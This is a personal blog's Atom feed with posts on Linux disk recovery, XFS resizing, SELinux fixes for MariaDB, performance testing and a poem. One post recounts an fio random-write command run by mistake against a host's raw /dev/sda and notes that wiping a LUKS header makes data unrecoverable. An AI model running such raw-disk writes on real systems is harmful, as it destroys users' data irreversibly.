<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Archit Sharma · writing</title>
  <subtitle>I build and run distributed systems.</subtitle>
  <link href="https://arcolife.in/atom.xml" rel="self"/>
  <link href="https://arcolife.in/"/>
  <id>https://arcolife.in/</id>
  <updated>2020-02-07T02:17:27.000Z</updated>
  <author><name>Archit Sharma</name></author>
  <entry>
    <title>GRA FCUK? NAh</title>
    <link href="https://arcolife.in/blog/2020/02/07/gra-fcuk-nah/"/>
    <id>https://arcolife.in/blog/2020/02/07/gra-fcuk-nah/</id>
    <published>2020-02-07T02:17:27.000Z</published>
    <updated>2020-02-07T02:17:27.000Z</updated>
    <category term="FOSS"/>
    <category term="Github"/>
    <category term="Grafana"/>
    <summary>yearly resentment (this would be the last) over a failed contribution: - https://github.com/grafana/grafana/pull/7863issuecomment-354004166 - https://github.com/grafana/grafana/issues/4693 -…</summary>
    <content type="html">&lt;p&gt;yearly resentment (this would be the last) over a failed contribution:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/grafana/grafana/pull/7863#issuecomment-354004166&quot;&gt;https://github.com/grafana/grafana/pull/7863#issuecomment-354004166&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/grafana/grafana/issues/4693&quot;&gt;https://github.com/grafana/grafana/issues/4693&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://community.grafana.com/t/advanced-query-with-nested-object/4278/2&quot;&gt;https://community.grafana.com/t/advanced-query-with-nested-object/4278/2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Recovering encrypted LVM based partitions, after accidentally overwriting 'em with 'fio'!</title>
    <link href="https://arcolife.in/blog/2017/04/30/recovering-an-encrypted-partition-after-accidentally-overwriting-it-with-fio/"/>
    <id>https://arcolife.in/blog/2017/04/30/recovering-an-encrypted-partition-after-accidentally-overwriting-it-with-fio/</id>
    <published>2017-04-30T02:39:01.000Z</published>
    <updated>2017-04-30T02:39:01.000Z</updated>
    <category term="file systems"/>
    <category term="ext4"/>
    <category term="LVM"/>
    <category term="Fedora"/>
    <category term="disk recovery"/>
    <category term="disk partitioning"/>
    <summary>Disclaimer: Logging my experience of a quasi-success in executing $subject. Specs - Partitioning scheme: LVM based encrypted partitions - Hardware - Lenovo T440p - OS (earlier) - Fedora 24 Gnome - OS (now) - Fedora 24…</summary>
    <content type="html">&lt;p&gt;Disclaimer: Logging my experience of a quasi-success in executing &lt;code&gt;$subject&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&quot;specs&quot;&gt;Specs&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Partitioning scheme: LVM based encrypted partitions&lt;/li&gt;
&lt;li&gt;Hardware - Lenovo T440p&lt;/li&gt;
&lt;li&gt;OS (earlier) - Fedora 24 Gnome&lt;/li&gt;
&lt;li&gt;OS (now) - Fedora 24 KDE&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As if there aren’t enough cases already, this one found a grand entrance to the club of royally screwed ups, when it comes to messing up with your disk partitions.&lt;/p&gt;
&lt;!--more--&gt;
&lt;h5 id=&quot;backstory-and-the-foreplay&quot;&gt;Backstory and the foreplay&lt;/h5&gt;
&lt;p&gt;I supplied &lt;a href=&quot;https://github.com/arcolife/kvm_io/blob/master/bench_iter.sh#L113&quot;&gt;this command&lt;/a&gt; but with &lt;code&gt;fio&lt;/code&gt; instead of &lt;code&gt;pbench-fio&lt;/code&gt;. I thought the options would be similar to what &lt;code&gt;fio&lt;/code&gt; supports, so I ran it with&lt;code&gt;--client=&amp;lt;IP of VM&amp;gt;&lt;/code&gt; which it obviously didn’t support and reacted to, with a complaint. The command I then ran using ssh, was something this:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;fio --filename=/dev/sda --direct=1 --rw=randwrite --refill_buffers --ioengine=libaio --bs=128k --rate_iops=1280  --iodepth=16 --numjobs=8 --runtime=20 &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But I managed to mess it up and this ran on host’s &lt;code&gt;/dev/sda&lt;/code&gt; instead of VM’s. Albeit, I didn’t realize the blunder in that moment and later rebooted the machine. Well then obviously it wouldn’t boot up and so it went into PXE boot mode. With 0 pendrives within my reach, I PXE booted through my office’s network and thought I’d use the liveuser to recover. But that went into the &lt;code&gt;#dracut&lt;/code&gt; mode. I went back home and finally used a live USB to boot into the laptop. On checking for partitions through &lt;code&gt;fdisk&lt;/code&gt;, I couldn’t see any. Whelp!&lt;/p&gt;
&lt;p&gt;And in the install menu’s disk selection option, it didn’t show up the partitions either..&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/recovery/manual_partition_without.jpeg&quot; alt=&quot;Manual Partition - Free&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;the-act-of-repression&quot;&gt;The act of repression&lt;/h4&gt;
&lt;p&gt;So then I downloaded testdisk [1] and followed those step-by-step instructions. Unfortunately, mine was a case of an encrypted ext4 partition, which isn’t what that testdisk’s version supports (for listing files) out of the box. But on a ‘quick search’, testdisk did discover 2 partitions (Bootable and Primary) and on a ‘deeper search’, other parititions with labels P and D (Primary/Deleted [1]). I chose to write the quick search partition table and the exited the tool.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/recovery/testdisk_quick.jpeg&quot; alt=&quot;quick testdisk&quot;&gt;
&lt;img src=&quot;https://arcolife.in/images/recovery/testdisk_deeper.jpeg&quot; alt=&quot;deep testdisk&quot;&gt;
&lt;img src=&quot;https://arcolife.in/images/recovery/partition_post_testdisk.jpeg&quot; alt=&quot;Post testdisk&quot;&gt;&lt;/p&gt;
&lt;p&gt;Later, I ran another tool &lt;code&gt;PhotoRec&lt;/code&gt; [2] by the same author behind &lt;code&gt;testdisk&lt;/code&gt; and that helped me recover 4 txt files and 3 LUKS files. I wrote the partitions it found out, to the table. It would only make sense if I could somehow decrypt and mount/scan the .LUKS files. I used an external hard drive and saved them to it while supplying the same as an option to PhotoRec.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/recovery/photorec_deep.jpeg&quot; alt=&quot;Photo Rec deep&quot;&gt;&lt;/p&gt;
&lt;p&gt;Note that this was a hurdle I &lt;em&gt;had to&lt;/em&gt; cross since they’re encrypted partitions. Generally speaking, if we’ve got N encrypted partitions, but the initial few sectors containing the header volume info for passphrase are overwritten, it’s often impossible to recover data (as of what I understood from conversations in forums). But this might be considered as an advantage in cases where you’d like to mess up the hard drive on purpose, since erasing the first few bytes does the job, as the data in rest of the sectors is encrypted af.&lt;/p&gt;
&lt;p&gt;Getting back to point, I followed [3] and mapped those LUKS files to the VG pool (although unsuccessfully). Error that I spotted (under &lt;code&gt;/var/log/messages&lt;/code&gt;) was somewhere along the lines of &lt;code&gt;vgchange buffer io error on device sda &amp;lt;snip snip&amp;gt; logical block: LUKS I/O error -5 writing to inode&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/recovery/luks_dump.jpeg&quot; alt=&quot;LUKS dump&quot;&gt;
&lt;img src=&quot;https://arcolife.in/images/recovery/luks_open.jpeg&quot; alt=&quot;LUKS open&quot;&gt;
&lt;img src=&quot;https://arcolife.in/images/recovery/pvs.jpeg&quot; alt=&quot;PVS&quot;&gt;&lt;/p&gt;
&lt;p&gt;Side note: Neither in PhotoRec nor in TestDisk, did I attempt to re-write MBR table.&lt;/p&gt;
&lt;p&gt;On the edge of a Post Traumatic Scan Disorder from Testdisk and photoRec, I almost gave up while recalling suggestions from a few forums, which pointed to the fact that it’s impossible to recover encrypted partitions if the header volume info wasn’t backed up. It all seemed gloomy and dark and I slept thereafter while putting another photoRec scan to work in the background.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/recovery/vgchange_error.jpeg&quot; alt=&quot;Vgchange error&quot;&gt;&lt;/p&gt;
&lt;p&gt;A couple hours later, I tried to wake up the laptop screen but it wouldn’t (Fedora 24 KDE does that sometimes it seems). Trudging back to the idea of starting over, I hard rebooted and decided to install the OS, from scratch. But to my surprise, while booting up with the live USB and inside the install menu’s disk partitioning scheme option &lt;code&gt;I'll configure partition myself&lt;/code&gt;, I saw an “Unknown” partitioning dropdown. Now now, this didn’t show up earlier and so then I went ahead and removed all but the biggest one (which I knew was the home partition). I supplied the passphrase for older encryption, specified a mount point &lt;code&gt;/home&lt;/code&gt;, made other parititions (all except biosboot [5]) and Voila! all I had to do later was to reinstall some rpm packages.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/recovery/manual_partition_with.jpeg&quot; alt=&quot;Manual Partition - Unknown&quot;&gt;&lt;/p&gt;
&lt;p&gt;So to speak, I’m not sure what gave or how it worked, but it did! Tag-lining this as a “comedy of errors and a tragedy to remember”.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/recovery/final.jpeg&quot; alt=&quot;Happy&quot;&gt;&lt;/p&gt;
&lt;p&gt;PS: On recovery, I’ve lost some disk space ( ~ 80 MiB) fragmented and squeezed in between those partitions. Also, my RAM shows up as 15.4 GiB instead of 16 GiB. Or maybe that’s just how accurate a System Monitor in KDE is?!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/recovery/fragments.jpeg&quot; alt=&quot;Fragments count&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;references&quot;&gt;References&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;http://www.cgsecurity.org/wiki/TestDisk_Step_By_Step&quot;&gt;http://www.cgsecurity.org/wiki/TestDisk_Step_By_Step&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.cgsecurity.org/wiki/PhotoRec_Step_By_Step&quot;&gt;http://www.cgsecurity.org/wiki/PhotoRec_Step_By_Step&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://alvinabad.wordpress.com/2012/09/22/how-to-recover-a-luks-encrypted-disk/&quot;&gt;https://alvinabad.wordpress.com/2012/09/22/how-to-recover-a-luks-encrypted-disk/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://forum.cgsecurity.org/phpBB3/viewtopic.php?t=1431&quot;&gt;Recovering files from an encrypted drive&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.redhat.com/archives/kickstart-list/2012-August/msg00005.html&quot;&gt;Re: how to tell when biosboot partition is needed?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://forum.cgsecurity.org/phpBB3/viewtopic.php?t=462&quot;&gt;USB stick unreadable&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.pavelkogan.com/2014/05/23/luks-full-disk-encryption/&quot;&gt;http://www.pavelkogan.com/2014/05/23/luks-full-disk-encryption/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://manpages.ubuntu.com/manpages/xenial/man1/ecryptfs-recover-private.1.html&quot;&gt;http://manpages.ubuntu.com/manpages/xenial/man1/ecryptfs-recover-private.1.html&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content>
  </entry>
  <entry>
    <title>performance engineering TILs - part 1</title>
    <link href="https://arcolife.in/blog/2017/03/02/performance-engineering-tils-part-1/"/>
    <id>https://arcolife.in/blog/2017/03/02/performance-engineering-tils-part-1/</id>
    <published>2017-03-02T11:30:16.000Z</published>
    <updated>2017-03-02T11:30:16.000Z</updated>
    <category term="Cloud"/>
    <category term="Performance"/>
    <summary>On Scale tests ..on distributed systems, in companies with a global, collaborative and distributed workplace setup Before running a scale test, make sure to have the following items checked off your list: 1. Is churn…</summary>
    <content type="html">&lt;h2 id=&quot;on-scale-tests&quot;&gt;On Scale tests&lt;/h2&gt;
&lt;h4 id=&quot;on-distributed-systems-in-companies-with-a-global-collaborative-and-distributed-workplace-setup&quot;&gt;..on distributed systems, in companies with a global, collaborative and distributed workplace setup&lt;/h4&gt;
&lt;p&gt;Before running a scale test, make sure to have the following items checked off your list:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Is churn on product integrations, enough to simulate production environment?&lt;/li&gt;
&lt;li&gt;During the tests, is the product going to run with defaults? Is this about baselining with defaults or are we going to let the system bleed while increasing throughputs?&lt;/li&gt;
&lt;li&gt;Do you have exact expectations noted down prior to automating? (per se, monitoring enough parameters in the right way. This includes Telemetry, Logs and Configurations per iteration.)&lt;/li&gt;
&lt;/ol&gt;
&lt;!--more--&gt;
&lt;p&gt;An example of this, from a distributed systems application framework could be:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Time spent collecting the data as well as size of data v/s Time it took to be committed to the db – per se, fetch time/volume and db time.&lt;/li&gt;
&lt;li&gt;Size of data transferred over network for a single workload (and for all workloads/functionalities associated with that application)&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;List of parameters not to be changed? CPU/RAM/Memory/Disk/partitions/Network bandwidth/OS/Installed Packages/Tuning parameters/….&lt;/li&gt;
&lt;li&gt;Do you have tuning recommendations for the product, prior to testing?&lt;/li&gt;
&lt;li&gt;Do you have enough debugging skills on the product, to begin with? (extension: Have you solved enough bugs yet?). If not, it’s good to have some consultation on this as it helps with forming theories on conclusions.&lt;/li&gt;
&lt;li&gt;Do you have the lab environment’s hardware availability dates in a flexible time range? (keeping potential bottlenecks in mind)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I have been reading Brendon Gregg’s &lt;a href=&quot;http://www.brendangregg.com/sysperfbook.html&quot;&gt;“Systems Performance: Enterprise and the Cloud”&lt;/a&gt; and am inclined to finish this soon. All of the points above, have probably been already covered in detail, in that book.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>resizing an xfs partition on a thin provisoned disk in a RHVM env</title>
    <link href="https://arcolife.in/blog/2017/02/22/resizing-an-xfs-partition-on-a-thin-provisoned-disk-in-a-rhvm-env/"/>
    <id>https://arcolife.in/blog/2017/02/22/resizing-an-xfs-partition-on-a-thin-provisoned-disk-in-a-rhvm-env/</id>
    <published>2017-02-21T21:23:28.000Z</published>
    <updated>2017-02-21T21:23:28.000Z</updated>
    <category term="file systems"/>
    <category term="XFS"/>
    <category term="thin provisioning"/>
    <category term="RHVM"/>
    <summary>My postgres parition was full and I desperately needed to increase its size, in order to report some performance numbers. I couldn't afford to loose the data (and my shit). So I followed these steps to safely increase…</summary>
    <content type="html">&lt;p&gt;My postgres parition was full and I desperately needed to increase its size, in order to report some performance numbers.&lt;/p&gt;
&lt;p&gt;I couldn’t afford to loose the data (and my shit). So I followed these steps to safely increase the size of that partition based on xfs, which existed on a logical volume already.&lt;/p&gt;
&lt;p&gt;Self help commands and assumptions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;disk is /dev/vdb/&lt;/li&gt;
&lt;li&gt;xfs is mounted on /dev/vg_pg/lv_pg&lt;/li&gt;
&lt;li&gt;we grew the disk by 20 Gigs&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;xfs_info /dev/vg_pg/lv_pg -d 64G&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;!--more--&gt;
&lt;p&gt;Delete and resize partition. Let’s say we’re working with Partition 1 here:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;fdisk /dev/vdb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# p&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;(list paritions)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# d&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;(confirm delete)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# n&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;(make new parition with default values, after you've extended disk size from RHEVM env)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# w&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;(save changes)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, reboot system.&lt;/p&gt;
&lt;p&gt;Run &lt;code&gt;partprobe&lt;/code&gt; to be sure all went well.&lt;/p&gt;
&lt;p&gt;Then, run these set of commands:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;pvresize /dev/vdb1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;pvs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;lvextend -L +20G /dev/mapper/vg_pg-lv_pg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;lvs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;xfs_growfs /dev/vg_pg/lv_pg&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Refs:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://help.1and1.com/servers-c37684/dynamic-cloud-server-linux-c73266/increase-the-physical-volume-size-of-a-linux-1and1-dynamic-cloud-server-a771780.html&quot;&gt;https://help.1and1.com/servers-c37684/dynamic-cloud-server-linux-c73266/increase-the-physical-volume-size-of-a-linux-1and1-dynamic-cloud-server-a771780.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://access.redhat.com/solutions/697303&quot;&gt;https://access.redhat.com/solutions/697303&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Storage_Administration_Guide/xfsgrow.html&quot;&gt;https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Storage_Administration_Guide/xfsgrow.html&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content>
  </entry>
  <entry>
    <title>never go back, but never forget</title>
    <link href="https://arcolife.in/blog/2017/01/25/never-go-back-but-never-forget/"/>
    <id>https://arcolife.in/blog/2017/01/25/never-go-back-but-never-forget/</id>
    <published>2017-01-24T21:23:49.000Z</published>
    <updated>2017-01-24T21:23:49.000Z</updated>
    <category term="philosophy"/>
    <summary>(yet another introspection) — Underneath the shine, on this mountain of pride, I tumble and dabble, yet still yearn to travel, into the blue lagoons and across the white heaven. I tend to contemplate, the leetspeak of…</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;p style=&quot;text-align:center;&quot;&gt;(yet another introspection)&lt;/p&gt;
&lt;p style=&quot;text-align:center;&quot;&gt;&amp;#8212;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;Underneath the shine, on this mountain of pride,&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;I tumble and dabble, yet still yearn to travel,&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;into the blue lagoons and across the white heaven.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;I tend to contemplate, the leetspeak of Zarathustra and Krishna, &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;If that is indeed a sure way to live?&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;If the future was already a past unto itself?&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;Of the treasures I’d gain, by besting one of our own,&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;Would they everlast, or if that even matters?&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;I thought I&amp;#8217;d discover the ways of the world,&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;and drifted out there, into that little whirl&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The beauty of life is that hypocrisy is a vibe,&lt;/p&gt;
&lt;p&gt;Girded by schism, suddenly it got real.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;And in this skirmish I found, the light in your soul.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;kept hearing those sounds, kept seeing those grounds&lt;/p&gt;
&lt;p&gt;Now they remind me of you, and your sweet little boat,&lt;/p&gt;
&lt;p&gt;..of wonders and smiles, warm sunsets and kites.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;Alas, I&amp;#8217;d venture deep into the murk with a hint of &lt;/span&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;quietude.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;As by now, I have had my share of weeds and thorns;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;while I&amp;#8217;d still fancy life, but an astute one.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;Oh what I wouldn’t give, on this quest of The Truth.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I wouldn’t dare to be foolhardy,&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;But the journey of life is not an illusion.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;Or what if The Truth, is merely a qbit?&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;I had once repudiated God’s God’s license to chaperone,&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;But the omens, as puissant as they always are,&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;Hath drawn my soul, and bent my free will,&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;into the unfathomably deep valleys of reason and doubt&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;I am, but an arc of life, a creation of nature, &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight:400;&quot;&gt;who thence completes the circle of life.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align:center;&quot;&gt;&amp;#8212; arcolife&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>#noteToSelf - fix MariaDB-selinux related errors (fails to restart after update)</title>
    <link href="https://arcolife.in/blog/2017/01/19/number-notetoself-fix-mariadb-selinux-related-errors-fails-to-restart-after-update/"/>
    <id>https://arcolife.in/blog/2017/01/19/number-notetoself-fix-mariadb-selinux-related-errors-fails-to-restart-after-update/</id>
    <published>2017-01-19T16:07:53.000Z</published>
    <updated>2017-01-19T16:07:53.000Z</updated>
    <category term="Linux"/>
    <category term="MariaDB"/>
    <category term="RHEL"/>
    <summary>https://jira.mariadb.org/browse/MDEV-11789 yum -y install MariaDB-devel gcc gcc-c++ autoconf automake make libtool zlib zlib-devel openssl-devel yum install -y MySQL-server tried this, didn't work (where /home/native…</summary>
    <content type="html">&lt;p&gt;&lt;a href=&quot;https://jira.mariadb.org/browse/MDEV-11789&quot;&gt;https://jira.mariadb.org/browse/MDEV-11789&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;yum -y install MariaDB-devel  gcc gcc-c++ autoconf automake make libtool   zlib zlib-devel openssl-devel&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;yum install -y MySQL-server&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# tried this, didn't work (where /home/native is the directory with mysql database is stored; configurable in my.cnf)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;semanage fcontext -a -t mysqld_db_t &quot;/home/native(/.*)?&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;restorecon -Rv /home/native/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;yum install selinux-policy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;audit2allow -a&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;yum install yum-utils&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;yum-complete-transaction&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# then tried this&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;yum provides sealert&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;yum install setroubleshoot-server&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;sealert -a /var/log/audit/audit.log&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# this produces alerts from audit.log and provides hints as to what should be executed next..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# so i followed directions..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ausearch -c 'mysqld_safe_hel' --raw | audit2allow -M my-mysqldsafehel&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;semodule -i my-mysqldsafehel.pp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;!--more--&gt;
</content>
  </entry>
  <entry>
    <title>Creativity: 0 to 1 afterthoughts</title>
    <link href="https://arcolife.in/blog/2016/10/18/creativity-0-to-1-afterthoughts/"/>
    <id>https://arcolife.in/blog/2016/10/18/creativity-0-to-1-afterthoughts/</id>
    <published>2016-10-17T19:13:35.000Z</published>
    <updated>2016-10-17T19:13:35.000Z</updated>
    <category term="philosophy"/>
    <category term="social media"/>
    <category term="technology"/>
